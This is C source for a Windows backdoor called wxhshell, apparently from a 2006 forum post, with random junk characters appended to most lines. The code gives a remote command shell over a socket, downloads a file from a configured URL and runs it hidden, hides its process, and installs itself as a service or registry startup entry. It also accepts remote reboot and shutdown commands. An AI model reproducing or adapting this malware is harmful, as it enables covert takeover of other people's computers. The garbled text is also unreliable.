  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t.=Oj  
  else 5+L8\V9;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vgk9b!Xd  
  } ks:{TA27  
  else { d.\PS9l  
_t.FL@3e  
    switch(cmd[0]) { fOBN=y6x  
  %cj58zO |y  
  // 帮助 P6HGs? *  
  case '?': { bF6gBM@*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AN10U;p/O  
    break; Mo|yv[(K ,  
  } jsWX 6(=  
  // 安装 YN^jm  
  case 'i': { on5 0+)uN  
    if(Install()) J#@lV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zPBfiK_hV  
    else Xiju"Cup"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gb_X?j%p7  
    break; ADBpX>  
    } 41 'EA \V  
  // 卸载 eBvW#Hzp  
  case 'r': { kH2oK:lN  
    if(Uninstall()) m<FK;   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [d:@1yc  
    else 4WG=m}X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Q+R%p  
    break; =c]a {|W?  
    } H5p5S\g-)  
  // 显示 wxhshell 所在路径 \\s?B K  
  case 'p': { vzy!3Hiw  
    char svExeFile[MAX_PATH]; <(uTst  
    strcpy(svExeFile,"\n\r"); 'a_s%{BJXg  
      strcat(svExeFile,ExeFile); qb$_xIQpDL  
        send(wsh,svExeFile,strlen(svExeFile),0); 8r^j P.V  
    break; Mi D  
    } u\w2S4c  
  // 重启 J!<#Nc  
  case 'b': { "OJr*B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =M7PvH'"  
    if(Boot(REBOOT)) Mk "vv k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #^; s<YZ`  
    else { MLeX;He  
    closesocket(wsh); `:3&@.{T(  
    ExitThread(0); {g@A>  
    } NxB+?  
    break; 2:~cJk{  
    } FK3Whe{KP{  
  // 关机 \bRy(Z)  
  case 'd': { 2YluJ:LN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ex0oAt^  
    if(Boot(SHUTDOWN)) `{L{wJ:&a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z fqQ {_  
    else { L6kZ2-6  
    closesocket(wsh); @ AggznA8  
    ExitThread(0); O(Td:Zdp  
    } '2xcce#  
    break; wzbz }P>  
    } _f66>a<  
  // 获取shell a+'}XEhSC:  
  case 's': { R( GmU4  
    CmdShell(wsh); O&=KlnI:  
    closesocket(wsh); }bCK  
    ExitThread(0); uDI}R]8~  
    break; .xo_}Vw  
  } 59~FpjJ  
  // 退出 r hZQQOQ  
  case 'x': { c-`37. J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r8F{A6iN  
    CloseIt(wsh); h-,?a_  
    break; b_ZNI0Hp@  
    } Seg#s.  
  // 离开 k!9=  
  case 'q': { " Ac~2<V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;9vIa7L&  
    closesocket(wsh); qkiJ HT  
    WSACleanup(); 6."PS4}:  
    exit(1); EqoASu  
    break; g@}6N.]#  
        } _ Q{T';  
  } -Sp/fjlq/  
  } C|9[Al  
=!YP$hfY  
  // 提示信息 pOX$4$VR<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eL_^: -   
} Jxf}b}^T  
  } )FV6,  
1O23"o5=  
  return; s9G)Bd 8  
} oFb\T iLu  
K,G,di  
// shell模块句柄 *^ey]),f54  
int CmdShell(SOCKET sock) gUu&Vy\  
{ ),M U+*`  
STARTUPINFO si; i'Wcf1I-=  
ZeroMemory(&si,sizeof(si)); 89db5Dx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 98h :X%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &+,:u*%  
PROCESS_INFORMATION ProcessInfo; ~K_]N/ >  
char cmdline[]="cmd"; #gF2(iK6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^uM_b  
  return 0; Imke/ =h  
} k"5`:qL  
gO9'q='5l  
// 自身启动模式 u/;_?zI  
int StartFromService(void) cl@kRX<7'  
{ FoQ?U=er  
typedef struct ^4RO  
{ ~d&'Lp[3  
  DWORD ExitStatus; u"*J[M~  
  DWORD PebBaseAddress; ^M [#^wv,  
  DWORD AffinityMask; =A$Lgk>|  
  DWORD BasePriority; GA(OK-WUd  
  ULONG UniqueProcessId; 4P`PmQ=GQh  
  ULONG InheritedFromUniqueProcessId; v^<<[I2 C  
}   PROCESS_BASIC_INFORMATION; >).@Nb;e  
#dHr&1(  
PROCNTQSIP NtQueryInformationProcess; $  9S>I'  
tN[St  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K<RmaXZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0BT;"B1  
Nz3zsP$  
  HANDLE             hProcess; sWp{Y.  
  PROCESS_BASIC_INFORMATION pbi; f%vHx,  
=_K%$y*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IES41y<  
  if(NULL == hInst ) return 0; Tavtr9L0XY  
OY+!aG@.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,\BfmC_i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2;dM:FHLhO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7qW.h>%WE  
u![4=w  
  if (!NtQueryInformationProcess) return 0; FP.(E9  
UENYJ*tnP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #"=%b e3  
  if(!hProcess) return 0;  =|^X$H  
q2[+-B)m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BT&rp%NO6l  
>|v=Ba6R0  
  CloseHandle(hProcess); p Z0=  
t^`<*H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9"m, p  
if(hProcess==NULL) return 0; qJ#L)  
xAR^  
HMODULE hMod; m]bL)]Z  
char procName[255]; dVasm<lZ  
unsigned long cbNeeded; '~ jy  
hVQ7'@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9m%7dsv  
;+S2h-4  
  CloseHandle(hProcess); plzE  
_JfJ%YXy  
if(strstr(procName,"services")) return 1; // 以服务启动 l*~"5f03  
~+sne7 6 U  
  return 0; // 注册表启动 U;x99Go:  
} Z)C:]}Ex  
zyIza@V(  
// 主模块 ;m-6.AV  
int StartWxhshell(LPSTR lpCmdLine) Ej;Vr~Wi  
{ ##SLwrg  
  SOCKET wsl; $xKg }cO  
BOOL val=TRUE; i n[n A a  
  int port=0; trID#DT~  
  struct sockaddr_in door; % <8K^|w  
^hQ:A4@q  
  if(wscfg.ws_autoins) Install(); s4\SX,  
X7'h@>R   
port=atoi(lpCmdLine); qkIA,Kgy  
v1`bDS?*Q  
if(port<=0) port=wscfg.ws_port; S/#) :,YS  
MAsWds`bpB  
  WSADATA data; u.ULS3`C/X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e_fg s>o`(  
},?-$eyX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7H8GkuO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 44Seq  
  door.sin_family = AF_INET; Y!K^-Y}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;g;,%jdCS  
  door.sin_port = htons(port); 4<=eK7;XR  
Ri^sQ<~(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nOA ,x  
closesocket(wsl); ~$ cm9>  
return 1; 5Ws:Ei{R  
} X=S}WKu  
)?= kb  
  if(listen(wsl,2) == INVALID_SOCKET) { ZwY`x')  
closesocket(wsl); 6/p]jN  
return 1; z/ c'Z#w%  
} mI{CM: :  
  Wxhshell(wsl); .#:@cP~v  
  WSACleanup(); r9p?@P\:[  
-o! saX<  
return 0; LH?gJ8`  
oT9XJwqnv  
} C9"f6>i  
UgOGBj,&5W  
// 以NT服务方式启动 pn ~/!y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HQ-N!pf9  
{ ];YglHH  
DWORD   status = 0; ]ly)z[is"]  
  DWORD   specificError = 0xfffffff; $=;bccIob  
"9MX,}X*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7;$L&X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bUipp\[aV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >o=axZNa  
  serviceStatus.dwWin32ExitCode     = 0; (_s!,QUe  
  serviceStatus.dwServiceSpecificExitCode = 0; D 9@<#2-  
  serviceStatus.dwCheckPoint       = 0; ~@a) E+LsF  
  serviceStatus.dwWaitHint       = 0; W2X+N acD  
}[hDg6i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DbPBgD>Q  
  if (hServiceStatusHandle==0) return; r&j+;JM5  
iG;d0>Sp  
status = GetLastError(); Yp?a=R  
  if (status!=NO_ERROR) qqO10~Xc  
{ 8&`T<ECq>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v]d?6g  
    serviceStatus.dwCheckPoint       = 0; I%VV4,I&pK  
    serviceStatus.dwWaitHint       = 0; b{yH4)O  
    serviceStatus.dwWin32ExitCode     = status; V.E.~<7D\  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q xj|lr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6i?kkULBS  
    return; 52q!zx E  
  } \a~;8):q=i  
Nt,]00S\w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q>+_W2~]  
  serviceStatus.dwCheckPoint       = 0; hH|XtQ.n^  
  serviceStatus.dwWaitHint       = 0; s]V{}bY`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l#J>It\  
} e-T9HM&%P  
fu7[8R"{  
// 处理NT服务事件,比如:启动、停止 ;#Crh}~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $7k04e@ ]  
{ QVA!z##  
switch(fdwControl) HjE Tinm"  
{ J[_?>YJ  
case SERVICE_CONTROL_STOP: })yb   
  serviceStatus.dwWin32ExitCode = 0; vp9E}ga  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C9^elcdv  
  serviceStatus.dwCheckPoint   = 0; ) Sh;UW  
  serviceStatus.dwWaitHint     = 0; %Tm' aY"  
  { oeU+?-y/b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G@l|u  
  } 5"Xo R)  
  return; qkyX*_}  
case SERVICE_CONTROL_PAUSE: ,"HpV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KcMzZ!d7m  
  break; xX67bswG  
case SERVICE_CONTROL_CONTINUE: D-;43>yi<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ='l6&3X  
  break; E`Zh\u)  
case SERVICE_CONTROL_INTERROGATE: 5E!|on  
  break; a6K$omu  
}; 4QN6BZJ5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v |hKf6  
} Bg 8t'dw?K  
s t3]Yy  
// 标准应用程序主函数 *SpO|*'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /(}l[jf  
{ kQ:>j.^e  
E<.{ v\  
// 获取操作系统版本 JjL0/&  
OsIsNt=GetOsVer(); 61 HqBa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =F; ^^VX  
!&<Wc^PG  
  // 从命令行安装 xdSj+507  
  if(strpbrk(lpCmdLine,"iI")) Install(); i OA3x 8J  
v+, w{~7RH  
  // 下载执行文件 A_dYN?^?|  
if(wscfg.ws_downexe) { ^SES')x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vN[m5)aT  
  WinExec(wscfg.ws_filenam,SW_HIDE); @x\gk5  
} (4/`@;[  
P24    
if(!OsIsNt) { 9HBx[2&  
// 如果时win9x,隐藏进程并且设置为注册表启动 k@X As  
HideProc(); Tr+Y@]"  
StartWxhshell(lpCmdLine); FV<^q|K/(]  
} l[ OQo|_  
else k1  txY  
  if(StartFromService()) i2Iu 2  
  // 以服务方式启动 sZ(Q4)r  
  StartServiceCtrlDispatcher(DispatchTable); ?_`P;}4#  
else n ;fTx  
  // 普通方式启动 .M#>@~XR  
  StartWxhshell(lpCmdLine); ?%TM7Z4  
- &LZle&M  
return 0; I5 7<0  
}
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只看该作者 1 发表于: 2006-10-10
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